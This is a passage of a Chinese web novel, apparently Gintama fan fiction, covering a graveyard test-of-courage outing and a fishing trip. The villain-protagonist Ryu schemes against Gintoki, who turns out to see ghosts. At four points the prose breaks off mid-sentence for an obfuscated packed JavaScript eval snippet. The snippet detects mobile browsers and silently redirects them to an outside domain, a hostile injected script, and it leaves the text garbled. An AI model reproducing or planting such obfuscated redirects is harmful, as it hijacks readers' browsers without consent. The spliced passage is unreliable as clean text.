所以他原本打算亲自在这里做点手脚,吓一吓坂田银时,治一治他那怕鬼的毛病,完成下磨砺主角的小任务。 但没想到,还没有开始,坂田银时就提出了第一个异议。 “我绝对不要一个人进去!” 他极力要求四个人一起穿过这片乱葬岗,达到设立的目的地。 试胆大会的章程一般都是这样。试胆的人经过恐怖的地方,拿到目的地的信物,再回到入口,就代表完成了试胆。 “四个人一起还有什么试胆的必要,快进去!” 当时,在深草琉三人的镇压下,据理力争的坂田银时,还是被独自赶了进去。 乱葬岗在一片小山丘上,周围的树木较为稀疏,不太容易迷路,但林立的墓碑和漆黑的土地颜色,会让人产生一种不好的联想。 就连自诩不怕鬼的桂小太郎,看了一会都忍不住摸了摸胳膊。 “这地方还真是有点阴森。” 高杉晋助百无聊赖似的拽了片叶子,“如果不阴森也不会选这里了。” 他瞥了眼深草琉,“我倒是没有想到,你会主动提要办试胆大会。像你这样的家伙,居然会对这种活动感兴趣吗?” 他说的是上午的事。 那时深草琉找到他们俩,问要不要一起办试胆大会,本来这两人一个有点好奇,一个兴致缺缺,但在他说出坂田银时可能怕鬼之后,就都答应了下来。 深草琉目光遥遥,望着乱葬岗的小路,刚刚坂田银时就是从那个拐弯过去的。 “为什么不感兴趣?小孩子都会喜欢这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307565|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活动吧。” 他答得心不在焉,还在想坂田银时有没有触发他设置的机关。 高杉晋助和桂小太郎交换一个眼神。 他嗤笑了一声,“你可不像是一般的小孩。” 这话从高杉晋助嘴里说出来,比起赞赏,倒更像是带了别的意味。 深草琉故作不知,“那可真是荣幸。” 桂小太郎也插嘴,“不过阿琉,你好像对银时格外感兴趣,为什么?” 这件事已经明显到所有人都看得出来,又或者说,深草琉一开始就没有掩饰这一点。 这会他也是随口答了。 “这没什么奇怪的……我是为他而诞生的。” 客观来说,如果没有主角,自然也不需要像他这样来执行任务的人,也更没有诞生的可能。 高杉晋助和桂小太郎一愣。 他们俩私下讨论过这个问题,得出的结论有“天人入侵地球的阴谋”、“坂田银时私下洗脑”、“脑子在蛋壳里撞坏了”等等。 但怎么也没有想到,居然会是这么个…… “恋父情结吗?” 高杉晋助口出惊人。 桂小太郎若有所思地点点头,“这是人类对天人研究的一大步,而不仅仅是阿琉变/态开始的一小步……” 深草琉:“……”又开始手痒了。 没等他出手,就忽然察觉到哪里不对。 “你们听见声音了吗?” “什么声音?你不会要说婴儿在哭,或者女人在喊吧?太经典的套路,说多了就没意思了。” “这种场合不要说这种话了,我们不是反坂田银时的同盟队友吗?” “闭嘴,我说的是,为什么还没有动静传过来,他已经进去好一会儿了吧?” 这么一说,高杉晋助和桂小太郎面面相觑,意识到了问题。 按理来说,坂田银时如果真的怕鬼,都过了这么一段时间了,就算乱转也该碰见点什么了,怎么会到现在都没有动静?是临阵脱逃,还是说真的遇见了点什么东西? 想到这里,三人的鸡皮疙瘩都有些往外冒。 “先找到人再说。” 作为活动发起者,深草琉立刻蹿了进去,他可不想发生什么意外,导致主角不小心死在奇怪的地方。 以前也不是有任务者疏忽大意,导致这样的结果。最后那个世界……好像是崩溃了。 看着深草琉这么激动,高杉晋助和桂小太郎更加肯定对方确实有些奇怪的情结,但事权从急,他们也没说什么,分开来在这片不大的区域内找起来。 大概是冥冥之中主角和反派的联系作祟。 深草琉是第一个找到坂田银时的。 准确来说,不是他找到了对方,而是对方在他路过时,突然一手抓住了他的脚踝。 冰冷的手指触碰到皮肤,似乎有寒风怨气蒸腾,传来了幽幽的叹气。 “……救……命……” 那一瞬间,无数尸体复活、僵尸作祟、骷髅打架的画面,在深草琉的脑海中闪现。 他脸色一沉,一脚踹向死而复生的鬼怪,呵斥道。 “你这没用的东西,怎么不去吓坂田银时!” 这话里的怒意远远胜过畏惧,听者甚至听出了一丝恨铁不成钢的意味,当即沉默了。 “为什么……偏偏要吓坂田银时?” 幽怨鬼气不知不觉似乎更加浓重了些。 深草琉不耐烦道,“还能为什么,他不是怕鬼吗?那就让他被吓个够,看他还……” 话没说尽,他转头看见一张惨白的面孔,血红的眼睛直直盯着他,咧嘴一笑,像是刚从地狱爬上来,怨念冲天。 更关键的是,这是个银白卷毛。 深草琉:“……” 11. 第 11 章 总之,经过一番“友好”讨论。 深草琉和坂田银时组队了。 但坂田银时并不开心,起码没有一开始找到人的时候开心。 “阿琉,好像不是我的错觉,你一直在针对我。虽然你也这么大了,但对待含辛茹苦的父亲,怎么能这么不尊重,你忘记那些一起散步,一起在草地打滚,一起玩飞盘的日子了吗?” “……你说的是狗吧,一定是狗吧。” 攀附在身侧的声音,因为靠得太近,甚至连其中咬字的抑扬顿挫都听得清楚,更何况是蕴含的不满情绪。 深草琉嫌弃地想要把人扒拉开,没有成功。 于是他说。 “我就是针对你,怎么了。” 理直气壮得像是在说“打你就打你了,还要挑日子吗”,挑衅之意溢于言表。 坂田银时短暂沉默,突然掩面而泣。 “呜呜呜孩子他妈,我们的不孝子,还是变成了殴打父母的人渣,这可……” 这反应并不一般。 起码这里如果站着的是高杉晋助或者桂小太郎,他都不会只是假装哭一哭,不上手上脚都对不起他松下私塾一霸的外号。 坂田银时从来不是个怯战的,更不是个若无其事对待挑衅的。 但被优待的那位毫无所觉。 “闭嘴。”深草琉皱紧眉头,“再说就把你一个人丢在这里。” 相似的戏码演了太多,深草琉已经免疫,但在乱葬岗这种地方,小孩子假意的哭声,怎么听怎么恐怖。 这句话显然威力巨大,还没有长成未来那种说什么都无动于衷的厚脸皮,坂田银时顿时安静了。 但安静了没一会,他又闲不住似的,叽叽喳喳道。 “阿琉,你看那边那个,是不是有个又矮又丑的老头子,在盯着我们?” “没有。” “哇呜,他身上好臭,臭得像是在粪坑里埋了一个月,呕,我快吐了。” “……别吐我身上。而且那里什么都没有。”要是有的话,他早就赶过来当道具了。 “他靠过来了,喂喂喂,他真的靠过来了!” 银白卷毛猛地贴到他身上,双腿走得飞快,几乎是在跑,眼睛紧紧盯着身后空无一物的地方,好像哪里真有什么鬼魂在紧追不舍。 这演技倒是出色,说不定长大之后,可以当个跳大神的。 深草琉漫不经心想着,因为胳膊被拽着,不得不加快了速度,他一时不察,踉跄了一下。 连带着坂田银时也往前倒。 两人咕噜一下,摔倒在地。 “呀啊啊啊——!” 深草琉还没说什么,坂田银时一回头,却像是见到什么极为可怕的东西,尖叫一声,眼泪都飚了出来,还一个劲往他身后躲。 被这副样子迷惑,他下意识抬头看。 黑沉沉的天空,没有星星也没有月亮,稀薄的虫鸣,偶尔的鸟叫,非常符合人烟稀少的野外特征,也符合试胆大会场地。 但是,除此之外,什么都没有。 “别叫了,这里什么都没有,你是不是进来的时候,偷吃了地上的毒蘑菇,出现幻觉了?” 这片乱葬岗大概是过于潮湿阴暗,没什么植被,但零零散散冒着蘑菇。 以坂田银时那什么都喜欢招惹一下的性格,说不定进来的时候也不管有没有毒,就吃了一口,才变成如此这副连幻觉和现实都分不清的样子。 “不是!阿、阿阿阿琉……” “我不是什么阿阿阿琉,是深草琉。” 坂田银时急促地开口,想说什么,却眼睛瞪大,嘴唇颤抖。 在他的视野里,拍打身上尘土的黑发男孩,眼前正伫立着一个浑身流淌着黄色脓水、丑陋得叫人几乎想吐的中年男鬼魂。 而且这鬼魂好似对生人的气息感兴趣,一点点低下头,散发着恶臭气息的白雾,喷洒到深草琉脸上。 偏偏黑发红眸的男孩还一无所知,目光看向他,眉头紧了紧。 “你怎么了?脸怎么红了?” 坂田银时一顿,才发现不知道什么时候,他屏住了呼吸,憋得脸都红了。 “呼呼……” 他张嘴,像濒死的鱼那样拼命喘气,这喘气声太大,甚至都吸引了那鬼魂的注意。 坂田银时手脚一凉,却见对方很快又转头,目光落在深草琉身上。 好像有什么更加吸引他的东西似的。 他不知道是什么东西,但知道,那种一看就有问题的鬼,要是真的碰到深草琉,深草琉就完蛋了! 可是,可是他也害怕,他也…… 这一瞬间,那鬼魂似乎终于找到了下嘴的地方,对准了一无所知的黑发男孩,裂开了倾盆巨口,涎水从口腔滴落,在草地上腐蚀出一块深黑的斑点。 深草琉汗毛倒竖,盯着那块莫名其妙出现的黑斑出神。 “阿琉!” 几乎是凝聚了全身的勇气,坂田银时猛地扑了过去,带着人滚了两圈。 险之又险擦过了鬼魂的深渊巨口。 坂田银时发着抖喘气,眼瞳有一瞬间扩散,很想直接昏倒过去,刚刚他可是擦着那鬼魂的边过来的,谁知道会不会沾上什么奇怪的东西? 深草琉被紧紧抱在怀里,天旋地转之间,有种微妙的死里逃生之感。 这一刻,他终于不能再将坂田银时的话当做戏言。 “你看见了什么?有什么……在这里吗?” 他像是一个满眼漆黑的瞎子,茫茫然向唯一看得见世界真实的人提问。 坂田银时张口欲答,下一秒却浑身僵硬,连呼吸都停滞了。 只有他能看见的阴影落了下来。 之前那恐怖的鬼魂居然又靠了过来! 而且这一次,连给他们反应的时间都没有,直接张开了充满臭气流淌涎液的嘴,想要一口把他们俩吞下! 死死死……死定了! 无数回响在心底,坂田银时这时连后悔自己答应参加这破试胆大会的心都没有,脑子都空白了。 深草琉却像是察觉到了什么。 他看不见头顶正在侵袭的鬼魂,也不知道到底处在什么险恶的境况里,他唯一能感觉到的,是抱着自己的这个人,好像又僵硬成了死鱼。 他其实是不太理解的。 作为专门为主角踏脚石的他来说,很多时候,都是主角需要什么,他就扮作什么。这是他的任务,是他的使命,是他的意义。某种意义上,与工具无异。 工具会有鲜明的感情吗?自然不会。 他的所作所为,符合给主角带来麻烦带来困扰的对手、反派、敌人,就足够了。 所以,在这个主角莫名其妙感到巨大恐惧,又有一个看不见的威胁近在咫尺的时候,他该做什么? 深草琉动了一下。 坂田银时还没反应过来,脑中下意识觉得这样不太妙,想要过去按住他。 但他慢了一步,那双幼小白皙的手,穿过银白卷发男孩颤抖的怀抱,往上。 ——猛地一抓! 明明空无一物,却好似实际抓住了什么东西。 深草琉面色一冷,借着抓住的这一角,紧紧捏住,全力一摔! 坂田银时瞠目结舌。 他所见的景象里,形容可怖的鬼魂被插了鼻孔,随着深草琉手臂挥舞,便如被牵住线条的玩偶,一个倒栽葱,狠狠摔在了地上。 轻易像是游戏里遇见的1级小怪,而不是想象中的BOSS。 然后深草琉推开他,站起身,循着感知,一脸不满地走到摔在地上精神恍惚的鬼魂身边,劈头就骂。 “知道这里是谁的地盘吗?分不清场合就混乱出场,是嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308898|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死得不够早吗?还有都这么大的人了,还跑来吓小孩,一点羞耻心都没有吗?听说你还很臭?个人卫生都不讲,还敢出来抢人生意,你的上司在哪里,我要向他投诉你!” 噼里啪啦一通话下去。 模样丑陋散发臭味的中年男鬼,顿时像是遇见了公司其他部门不好惹的上司,一脸惶恐地土下座,脸色不知不觉又白了一个度,额头豆大的汗珠流淌,嘴巴里嘶哑地发出“抱、抱抱歉……真的、很抱歉”的声音。 坂田银时:“……” 眼前这个中年失意、唯唯诺诺欺软怕硬的社畜上班族鬼魂是谁啊? 而且这是什么诡异的上司斥责没用下属的既视感。 这训斥持续了十分钟,听得那鬼魂从一开始还有点隐约想要反抗,到后来,已经浑身瘫软,一脸悲愤得想要自尽的表情了。 “算了算了,阿琉。”坂田银时拉住深草琉,“他也不容易,养家糊口的重任都在一个人身上,很辛苦的,而且他还上有……喂,你应该有老婆孩子和父母吧。” 那鬼魂一愣,迟疑地点头。 于是坂田银时继续说,“他有老有小,再继续说下去,工作丢了,一家子连饭吃不上了。” 鬼魂顿时一脸感激地看着他。 深草琉不吃这一套,但他确实不想再耽搁下去了,好端端的试胆大会,结果变成了同行抢单。 这次是他要来磨砺坂田银时,不是让坂田银时被其他鬼魂吓破胆子的。 他瞪了一眼空无一物的地方。 “念在你初犯,放过你一次。下次再有这种事,我不会轻饶。吓人的业务要提前和我报备,不然我就找你的上司好好聊聊你的事,听懂了吗。” 阴恻恻的声音,鬼听了都怕。那鬼忙不迭点头,如蒙大赦。 坂田银时抽了抽嘴角:“阿琉……方向错了,他在你后面。” 深草琉一顿,瞪了他一眼,掉头就走。 坂田银时可不想一个人被丢在这里,那鬼还在后面偷瞥呢,他连忙跟了上去,“阿琉,等等我呀。” 深草琉很不满,又是一次虎头蛇尾,计划全乱,吓人不知道有没有吓到,他的胳膊是真的被抱了一路,都快麻了。 但他想起这件事里对方的异常,又有些不解。 “你能看见鬼?” 这倒是稀奇,主角很少有不需要的技能。难不成他搞错主线,坂田银时不是将来要成为抵抗入侵的英雄,而是要转为从背面入手,成为统领地下世界的幕后人物? 然而面对这个话题,对方又开始装傻。 “什么、什么鬼啦。根本没有这种东西的。” “那我们刚刚碰见的那是什么?” “当然是中年失意,想要装神弄鬼骗钱的无聊社畜啊!怎么、怎么可能有鬼。” 深草琉看他一眼,从那种故作镇定的脸色看出十成十的慌张。 怎么看都不像是不怕,可这样的人,会拥有能看见鬼的眼睛,不应该是巧合。 他忍不住嘀咕。 “难不成现在路线错了,我需要死一次,变成鬼魂再来吗?” 如果主角注定统领百鬼,他必然是要站在对立面,比如当个鬼什么的。这样的任务不少见,或许真是路线错了? 胳膊上的力道骤然一紧,没等他皱眉,又被松了开来。 “你……” 深草琉想问坂田银时又在搞什么。 却对上一双过分认真的赤红眼瞳。 “阿琉,你想做什么都可以。” 银白卷发的男孩抿了抿唇,注视着他,像是望见他空荡荡的内里。 “但是,不要死……不要轻易死掉。” 啊,倒是拥有身为主角的敏锐。 深草琉回望,平淡应了一声。 “我知道。” 他当然不会……轻易死。 12. 第 12 章 这个世界的鬼很少。 起码从坂田银时的样子看,不特意到灵异地点,压根碰不上鬼。 基本能排除,成为统领百鬼的阴阳师之类的路线设定了。 深草琉有点无聊,他觉得或许是自己来到这个世界的时间线太早了,才迟迟没有触发什么剧情。 他所自带的系统,是随着接触到的关键人物增多,得到信息,再进一步明确任务。 之前的任务流程都差不多,遇见主角,或者主角身边的重要角色,开启任务,触发关键情报,顺势站在主角的对立面,成为主角的磨刀石,促进主角进步。 但现在,除了了解世界背景,他没有得到太多额外信息。 这代表,要么他忽略了关键信息,要么时间未到。根据以往经验,他更倾向于后者。也就是说,还需要再等待一段时间。 “阿琉,走,我们一起去河边摸鱼!” 外面坂田银时的声音兴高采烈,身后还跟着不少小孩,隐隐传来兴奋的讨论。 今天是难得的休沐。 吉田松阳不是那种严厉到拘着孩子们不让外出的老师,相反,大多数情况下,他都是允许学生们来去自由的。像是之前半夜跑去参加祭典,纯粹是因为夜深危险,又是偷溜,他才给了惩罚。 这次,学堂的一众孩子想在冬天到来之前,去河里摸点鱼。 冬天想吃新鲜的肉不太容易,提前捕鱼晒干,能够充作备用的粮食,一般大人都不会阻拦,只要求注意安全。 当然,对孩子们来说,摸鱼时的乐趣大于其背后的含义。 对深草琉来说,这件事可有可无。但抱着触发剧情点的想法,他通常不会拒绝坂田银时的要求。 大多故事都是如此,主角在哪里,关键剧情就会在哪里。 但这次和之前那些一样,似乎又错了。 深草琉静静坐在河边的大石头上,目光虚虚地注视着下了河水欢快打闹的一众小孩,心情不起半点波澜。 “我从前就觉得了,你到底在想什么?” 抱着一条鱼,慢吞吞踱步过来的桂小太郎,找到了自己的鱼篓。 他将鱼放好,没有抬头,话却明显是对深草琉说的。 “我该想什么?” 深草琉头也不抬,他在一日日的观察中,确定桂小太郎应该不是反派阵营的,这个人身上有股清正的气,就像高杉晋助,骨子里做不了太坏的人。因此,他对这两人也没有太亲近。 “是你该做什么吧?”桂小太郎似乎有些无奈,叹了口气,“明明都答应了来摸鱼,怎么又一个人坐在这里。” “打扰到你们了?” “我不是这个意思。” 桂小太郎有点头疼,有时候,他会觉得,比起和坂田银时交流,和深草琉交流才是挑战。 这个不知道从哪里来,也不知道身份的小家伙,看上去和私塾里孩子差不多大,认知却好像出了偏差,总会将某些话的意思曲解。 “你不是来和大家一起摸鱼的吗?”他不得不将话拆得更明白。 “不是。” 劝解的话还没说完,就得到始料未及的回答。 桂小太郎按了按头,“那你是来做什么?” 他瞥见对方的视线方向,抽了抽嘴角,“总不能是专门来监视银时的吧?” 这完全是调侃的揣测,毕竟深草琉比他们还小一点,不下水玩可能是不习惯,从蛋壳里出生到现在没怎么接触过。 但没想到,听了这话,深草琉反而沉默了。 桂小太郎:“……” 桂小太郎:“……阿琉,恋父情结没有前途的,而且银时他不是你爸爸。你真正的爸爸,可能是个秃顶大肚子大叔……” 话没说完,啪,他被击倒在地。 深草琉习以为常地收起了木刀,又安静坐下,继续发呆一样望着远处。 好似一片风平浪静,倘若地下没有多一个倒地尸体的话。 不远处看见全过程的高杉晋助:“……”都叫小太郎不要随便靠近那小子了。 想是这么想,他还是认命地走过来,拖住脸带红印的朋友,准备带到边上清醒清醒。 但走之前,又好似无意间开口。 “你难道要一辈子,只看着一个人吗?” 你难道要一辈子,都只和坂田银时产生联系吗?除此之外的其他人,不重要吗? 这位某方面来说颇为含蓄的武士家公子,在提醒他。 作为人,只和一个人产生联系,只和一个人接触,只在意一个人,是非常危险的。当这份牵绊过于纠缠,最后会导向的结局,多半是不幸的。 深草琉眨眨眼,“不可以吗?” 对他来说,这个世界确实没有更多值得在意的对象。 高杉晋助不知道他的想法,拧起了眉,几乎是恨铁不成钢地开口,“银时不会高兴的。” 实际上,桂小太郎这次的劝说并不是突然而来,作为和深草琉相处时间最长的几人,他们早就发现了——深草琉很孤僻。 这份孤僻不是说他不爱说话,内向腼腆,而是说,他单方面拒绝和其他人产生更多接触。 深草琉长得可爱,黑发红眸,皮肤白皙,安安静静站着的时候,和人偶一样。 乡下小孩玩伴多,不是不识货,自从深草琉从蛋壳出生,就有不少人邀请他,有的是去玩,有的是去学习,也有的单纯就是邀请进小团体。无论哪一种,深草琉都拒绝了。 他平静有礼貌地表示,他有自己的事要做,没有时间。 那些孩子们倒是想按照以往的做法,强行拉他走,但对上那双红宝石一样的眼睛,忽然就说不出话了。他们讷讷着离开,后来又来了几次。 一次两次三次都被拒绝,孩子们也不傻,后来便再也不来,都说深草琉怪得很,一天天做事规律得像是真正的人偶。 这话传到坂田银时耳朵里,当然觉得不可思议。 在他面前,深草琉从来没有表现出这一面。虽然一言不合就拿木刀打人,偶尔会有点恶劣,但其他方面都很正常、普通,和松下私塾里孩子们没什么区别。 他把这事和高杉晋助、桂小太郎一说,却得到了两人颇为无语的眼神。 “阿琉在你面前,和别人面前,可不是一回事。” “你不妨亲自观察看看。” 或许是灯下黑,越是靠得近,越是容易忽略一些细节处。 坂田银时本来不太服气,还隐隐有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308899|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种“我家的小孩怎么可能是那样的”心态,但他终究不是纯粹的笨蛋父母,稍微观察了一段时间,就脸色不太好地认同了这一观点。 “阿琉……平时确实不喜欢搭理其他人。”面对朋友,他嘴硬,“但这是因为他还不熟悉这里,你知道的,孩子们经常有这种时期,等过了这一阶段……” “银时,你希望阿琉一直都这样吗?” 桂小太郎一句话,打败了剩下的诸多狡辩。 虽然很奇怪,但包括坂田银时在内,作为目睹了深草琉诞生的人,他们三人多少是真的有点长辈心情,比如,不能任由深草琉继续这样下去。 “万一以后真的变成蹲在家里靠父母养活的尼特*就完了。” 坂田银时嘀咕了一句,联合两个朋友,开始实施深草琉交朋友大作战。 结果……并不如人意。 其他人邀请深草琉出门,百分百被拒绝。 桂小太郎或高杉晋助邀请,百分之五十答应。 坂田银时邀请,百分百答应。 深草琉好似只认定了坂田银时,对其他人多少有种可有可无的态度。哦,吉田松阳不算,这位的话,全私塾里敢不答应的都没有。 这一发现让坂田银时担忧,也免不了自豪,“阿琉果然还是好孩子,知道谁才是他最亲近的……” 桂小太郎打断他的傻爸爸发言,“这么说来,说不定就是因为你和他太接近了,才导致阿琉没有别的朋友。” “哈?”坂田银时瞪大眼,“关我什么事,太有魅力是错吗?” “有道理。” 高杉晋助投了桂小太郎的赞同票。 于是作战计划变更,由坂田银时邀请,但不能太过靠近,要让对方产生即使坂田银时不在,也能和其他人一起玩耍的心情。 坂田银时冷哼了几声,倒也没有反对。 可惜,如今看来,计划同样失败。 深草琉听高杉晋助的话,还颇为奇怪,“他不高兴关我什么事?” 这回高杉是真意外了,他盯着深草琉,像是在看第一次发现的某种生物,专注中带了不可思议。 “坂田银时对你,不是很重要吗?” 深草琉挑眉,似乎明白了他的意思,转头懒得再看他。 “重要这个词,分很多种。最爱的人,和最恨的人,在人的一生中都称得上一句重要吧。你怎么知道,对我来说,他的重要是哪一种?” 高杉晋助抿了抿唇。 这话很像是拿来糊弄他的,偏偏要验证的话,也无从验证。唯一能确定的是…… “深草琉。” 脱离武士家庭,看重道义胜过荣誉的深紫短发男孩,第一次呼唤这个人的大名,这段时间努力完全没有成果的不爽在胸腔涌动,忧愁的朋友神色在眼前挥之不去,以至于他近乎直白地问。 “你没有心吗?” 语气并不严厉,也不重,但认真与不悦毫不掩饰。 这个心,自然不是心脏这种器官,而是更文学更意会更缥缈的那种。 双方都明白这个含义。 所以黑发男孩看向他,红宝石一样的眼眸弯了弯,语气轻快得像是只飞起的鸟雀。 “没有哦。” 13. 第 13 章 反派即使有心,也不是好心。 深草琉自认如实回答,也做好了高杉晋助会扑上来打一架的准备。 这个年龄段的小孩子,做事是很直接的,不高兴了,要么直接说,要么打一架,要么绝交,反正,总不会憋在心里。 成年人需要学会藏心事,孩子们还可以做自己。 深草琉觉得不如打一架,看看能不能触发点别的剧情,总比一直看小孩子摸鱼有意思。 深紫短发的男孩瞪着他,脸色阴沉,像是下一秒就会拔刀而出,眼刀子嗖嗖的。 与深草琉对视好一会儿,手动了下,却是将拎着的桂小太郎放下了。 “醒了就自己走。” “哎呀,你轻一点。” 上一秒还昏迷不醒的人,眨眼间翻身坐起,好像一点事都没有了,笑嘻嘻对高杉抱怨了一句,又看向深草琉。 “阿琉,你……” 黑马尾神童的眼神略微复杂,各色情绪汇聚,表情一瞬间都不像是个小孩子了。 “多说无益。”却是高杉晋助打断他。 高杉晋助的视线在深草琉脸上一掠而过,隐约的怒气凝在眉头。 他冷哼一声别过脸,不让人看见表情,语气硬邦邦的。 “他都说自己没有心了,怎么听得进话。天人这种生物,本来和人类就不同,管他做什么。” 说完,他似乎正如自己所说的一样,不打算管了,转头就走。 这话说得有点重了。 “别在意,晋助总是刀子嘴,但没有恶意的。” 桂小太郎歉意地对深草琉笑笑,又绷紧了脸,追了上去。 深草琉无可无不可,看着两人走远。声音远远飘到耳边,话题还在延续。 “别这么说。阿琉年纪还小,即使是天人,也不是真的无情无义,你应该也明白的。” “我明白,但他自己呢?你看不出来吗,他的态度根本……” 深草琉没听完,他漠然移开视线,转头打算继续盯着不远处的银白卷毛。 他的肩膀却被拍了一下。 深草琉一顿。 能悄无声息靠近他……能做到的人并不多。 他慢慢仰起头,眯眼看清了来人。 “不和银时他们一起去玩吗?” 熟悉的对话,出自栗色长发的男人口中。对方背光站着,弯着眼眸,似乎仅仅只是普通的好奇。 但深草琉不觉得。 他垂下眼眸,在谎话和真话之间短暂犹豫,做出了选择。 “我不想去。” “那你为什么要来这里?” 吉田松阳的问话很特别。第一次和这个人交流的时候,深草琉就隐约这么觉得了。 这种特别不是对方说的内容,而是无论回答的一方给出什么样的答案,正常也好不正常也好,吉田松阳都能毫无负面情绪地接下去。 就好像,根本不会因任何回答心生波澜。 在这种微妙的心情里,深草琉还是说,“因为答应了坂田银时。” 只是如此罢了。 吉田松阳追问,“阿琉你是希望完成银时的愿望?” “不。” 这一点无需遮掩。他可不是什么许愿机,相反,某种意义上,这些主角应该会视他为截然相反的东西。 吞噬愿望、斩断希望,诸如此类的小怪物。 “那为什么要答应银时的邀请呢?” 这话问得奇怪。 深草琉仰起头,眼睛微眯。 “答应了,就非得完成愿望吗?这个世界上,应该有即使答应,也不符合对方心愿的情况存在,不是吗?” 坂田银时想让他一起摸鱼。 他答应来,但做不做,当然由他决定。 吉田松阳面色不变,正如之前所有的回答,他不会表现出异样。 这次,他也不过是伸出手,摸了摸深草琉的头发。 宽厚的大手,带着茧子,不像是教书的老师,更像是武者,不过作为教授武艺的老师,确实该有这样的手。 只是隐约之间,有血腥气。可稍微细闻,又什么都没有,好像是错觉。 “你说的没错,并非所有愿望都会被回应。但是……” 正如所有想要教导学生的老师,给出的意味深长的转折。 “但是阿琉,这样的做法太冷漠了。人的心是很细致的,失望太多次,就会有隔阂,隔阂太多太大,到最后,会连联系也断裂。你希望那样吗?” 深草琉望着他,嘴巴一张就要说话。 “现在还不是做出回答的时候。”温和的老师说,“再等一等吧。” 有什么好等的? 无论多少次,无论多久,无论发生什么,答案都不会变。 在师长的目光中,黑发男孩却垂下眼眸,低声应了,“好。” 摸鱼活动在傍晚结束,金红的夕阳洒落大地,将满载而归的孩子们脸颊照得红扑扑,眼睛亮闪闪。就连鱼篓里的鱼都多了几分不凡又奇特的色彩。 他们互相张望,将自己今天这一下午的收获,说得比打赢胜仗还激动。 坂田银时抱着鱼篓,下巴微扬,鼻子好似都翘了起来,带着这样的神情,走了过来。 “阿琉,快看,快看!今天我摸到了这么大一条鱼!” 他一只手比划了一下,生怕那个“这么大”不够突出。 深草琉瞥了一眼,不大的鱼篓里,有四条鱼,一条大,三条小。 大的那条不算特别大,只不过在小的衬托下,显得非凡。如果是高杉晋助和桂小太郎在,恐怕就要好好反驳嘲笑一通了。 “嗯。” 他无意争论,应了一声。 坂田银时却不太满意,凑近了些,“就这样吗?只是这样?你看见了吗?这么大一条鱼哦,如果不是阿银,你一辈子可能都见不到这么大一条鱼哦!” 沾了水的脸上,几乎快把“夸我、崇拜我、赞颂我”写了个遍。 深草琉眨眨眼,对着递过来的鱼篓,想起来刚刚吉田松阳的评价。 他不回应期待,会显得很冷漠。 作为反派,对主角冷漠是正常的。 但他也是来磨砺主角的,无所作为,起不到磨砺的作用。 于是,黑发红眸的男孩略一沉吟,推开面前的鱼篓,跑到了河边,像是在观察什么。 “阿琉?” 坂田银时还没意识到发生了什么。 下一秒,木刀迅疾如雷,刺入河中。 淡淡的红色飘出,深草琉眼都不眨,手臂用力,猛然上挑。 啪。 一条半死不活的大鱼落在了地上,蹦跳了两下。 “啊?” 坂田银时愣住了,下意识将那条大鱼和自己最大的那条对比。 这一对比,就像是鹅蛋和足球,鲜明到惨烈。 但但但,还是他的鱼更多。 坂田银时刚安慰了自己,就听见连续不断的啪啪啪。 第二条、第三条……足足五条肥硕的鱼,下雨似的,被挑上了岸。抓鱼的那人还有余力,却恰好在这个时候停下。 而且,这些鱼每一条,都比他最大的要大! 这下,坂田银时脸色稳不住了,看看那些鱼,又看看走过来的黑发男孩。 深草琉却好像是故意的一样,随随便便一会儿功夫就超过他一下午的努力,还对他说。 “现在,不用一辈子,我也见到更大的鱼了。” 略带了挑衅意味。 银白卷毛一顿,瞅瞅地上的鱼,又瞅瞅自己,神色一动。 “哇啊!”他夸张地大喊,猛地指了指天空,“什么,高杉在飞哎!” 啥?深草琉一惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328162|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下意识顺着方向看了一眼,以为世界真的转换频道了。 在这一瞬间,坂田银时迅雷不及掩耳之势,将地上的鱼和自己的鱼掉了个,又扬起下巴。 “阿琉,怎么看你的鱼,也比我的小啊。” “……你刚刚做了什么?” “什么什么?我能做什么啊,阿琉你是不是眼睛不好使了?哎呀,真可怜,要不然,爸爸就好心给你一条吧?” 深草琉:“……” 深呼吸,不要和主角一般计较,尤其是坂田银时。 作为反派,要冷静,要从容,要……算了。 